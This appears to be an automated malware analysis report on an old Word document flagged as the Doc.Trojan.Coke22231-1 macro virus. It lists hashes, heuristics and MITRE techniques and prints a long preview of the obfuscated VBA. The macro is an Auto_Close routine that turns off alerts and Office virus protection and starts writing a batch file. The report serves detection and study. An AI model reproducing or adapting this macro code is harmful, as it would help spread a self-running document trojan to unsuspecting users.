Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e598459a375bd4a4…

MALICIOUS

Office (OLE)

333.5 KB Created: 1999-06-05 00:55:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 1befd79daf8de2f4d9c64841da39c134 SHA-1: 63c597506289ba96012f15d56000a3044f875e1d SHA-256: e598459a375bd4a4cf6be84c26298ba0b2ceb7e89df597591251ee6b0687f6a8
300 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious OLE document containing a VBA macro. The Auto_Close macro is configured to execute a command via the Shell() function. This is a common technique for downloading and executing additional malware. The ClamAV detection further confirms its malicious nature.

Heuristics 6

  • ClamAV: Doc.Trojan.Coke22231-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Coke22231-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 153108 bytes
SHA-256: afe95e8c6405313b1879f9ad94867bed8624429ba8a91d204c68acc3acf34818
Detection
ClamAV: Doc.Trojan.Coke22231-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1TemplateProject.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'vCVforWv
Sub AUtOCloSE()
On Error Resume Next
KGOL = 1
If hKTtYiuXX > BsjBPNee Then
bhass = 77
End If
Application.DisplayAlerts = wdAlertsNone
If TfiPP > srdHOpee Then
If EPJnOwXX = AsFvxTT Then
If yRJee < tgnGXypll Then
If hbGPHII > PiRDyWNtt Then
rTceeBFsomTiAA$ = "KmryjDff"
oUeHOOFWnHH$ = "AbKEE"
End If
RscsVV = 12
XGNOQQoeCByBXX$ = "TQaIcc"
If FiRmgWluu = dxLlShh Then
KCgVJJUBDcLSS$ = "vmbKOO"
If RVujuu = RKxwSsAA Then
If kYXfBB < JdadJACC Then
End If
If csKQQ = OgIIIVBpp Then
End If
If qBMiQiww = dujcFPuu Then
End If
End If
End If
End If
If IAicc > iuyKXX Then
'iRiXqkktTvkdd
End If
mTNGGIsArr$ = "sPPOrCC"
'RVHqQNwYYrwvHH
End If
ouGAWW = 25
End If
ssmRRRYFyBCC$ = "GChuu"
'clFfciiwkBvEoo
skmYY = 11
Options.ConfirmConversions = False
For uOwQovOO = 57 To 2
If FRUHnn > oHkVoII Then
If UmObnXX > PECVXuVLL Then
UsxcWlGG = 65
If rFjOMxfii = teFfDLTT Then
XKkossOHAEXrfBB$ = "WxREMjff"
BvBTooeNFLL$ = "vrqjj"
PWXneeObMgVwjj$ = "VFkOfuCC"
End If
End If
eFUCbbvYpstjiNN$ = "oEKpXaSS"
End If
Next uOwQovOO
pQymbEEaoHAYxx$ = "XXgDll"
If FgKkmUWW < juaoRstff Then
heBPYWeecuqCXjCC$ = "PesfKTT"
End If
ShowVisualBasicEditor = False
'iuNlaykkfWbUpqq
sacUQskBB = 72
If KwoVmNVV > EbEGG Then
If kvUNN = AWKQoTcc Then
If hSUmRoo = rCxGajHH Then
If kmmRR = BimmOyy Then
Rem iasOOYREpQPP
NFbdmyQKK = 13
End If
If rdScKK < RvWTeDD Then
If FMPMdhll = vbNQIII Then
If WDTBmDD = TeRXwYvv Then
End If
If dehww < JOtOdCuu Then
End If
If gXxRFfOO > gefqCiuaa Then
End If
nUEPqTTTkacBggg$ = "EocJICbRR"
End If
vWaammYitkKDNEE$ = "TUUUtaa"
End If
aDWtOlgGGSgcSOO$ = "efSYNTGG"
End If
bxxAA = 26
fDkPRRGCiCJJ$ = "lKNHBpvv"
If jxXHH = FXXUdKK Then
Rem DcPmWAiioLCXll
PqagIpNvvWLqHH$ = "NdARR"
End If
End If
If KysMgg < CKuss Then
Rem YQKGCwwAFMynRee
EqnXhVIIKiQQll$ = "JNFxx"
End If
End If
RKmQFCnaG = 1
DSMunJAppbGjmhh$ = "TwSjxCxdd"
wDMVvWxSS = 86
If iHyBBdJnn < tgaVrjww Then
dFWXvAqXX = 32
End If
If FbPrr > Vafxbb Then
'wvbEFWjjnLIOEacc
'PrqQLwweEGhDcaTT
End If
'cuQhttuhoMM
Options.VirusProtection = False
ohtLXhh = 88
'sEmYYSPiQQQ
Options.SaveNormalPrompt = False
SrcqMhCccTNTGG$ = "kPxmm"
If lCCrMff = mNxUmxx Then
If ndhQcTmm > DekDRR Then
If WraSS = GHSitll Then
Rem HXVDJJLJILndRll
ToeVV = 75
End If
WhRAA = 30
DXvUcXX = 88
End If
Rem JeYALUWxxVutdnlLvv
If ruikk < EXnUaa Then
'vvkpGiieiPurll
End If
End If
Open "C:\HOYF.BAT" For Output As 1
For JEEeAdAMM = 27 To 7
balPcbMKK = 11
If aDQjj < rleQQtww Then
If nsOWLHH > HgPIyy Then
If WvjOyvlOO = malHOO Then
If IFygg > vGDuqAA Then
For dXaQfyy = 17 To 2
Next dXaQfyy
If BTTNgff < YoUdBUWW Then
End If
If JeGsqSjj = bLHoo Then
End If
For vwdMtJJ = 14 To 5
Next vwdMtJJ
End If
If bodYY = Ifuss Then
XVoBTHH = 14
Rem CCJmjwOKKopwxXJXX
End If
If yxDoSKFoo > NrRoSS Then
If LUXNhh = uenrLL Then
End If
Rem ThBGLBDDmDbnrpuu
End If
Rem xeXtyosIINUrLL
End If
vwjgxx = 60
End If
ooOhqdhttUwotCSkk$ = "BqWSMKK"
End If
ebgJwuPPofAfmgww$ = "iJillPKK"
Next JEEeAdAMM
nqLGCC = 80
nkjII = 88
Print #1, "@ECHO OFf"
qTWvUqpPPNjqXQGqnn$ = "YGHTFff"
'fVtqqlKlVeGG
eVRmFLgDDgunUoo$ = "KFOVVV"
If TnOppp = jQeSMvv Then
If QfMreXX > TiTnTT Then
If cWmUIgg > WPSLDuu Then
If votFCC = CARBckk Then
If arCoAA < FgOHrRhh Then
If VJNDvv = kbhtt Then
End If
ISHallFgEqYY$ = "CdUEqNN"
If xsjwMJqq = HLehqhss Then
End If
If qCvDSbOff < yjnWpp Then
End If
End If
If jWjEQQ = NUYYXrHhh Then
If EuUxoo < lvjvtiYY Then
End If
If LVJnjj > VRDkawoo Then
End If
If NLrTss = lTDett Then
End If
'qaAupcqHHOhIdwhoww
If gwfyy < kRVTFF Then
End If
End If
aPIbb = 77
CyrbGeOqqYSVWbb$ = "IipSqRR"
End If
KgYCQQpKVtvv$ = "xaubRbb"
If qDtHAA = skHiyLww Then
If kgfXREFF < wIQWIXX Then
If dbJqCC < QpEIfAoo Then
End If
If LNLRfrr > eHXGERBB The
... (truncated)

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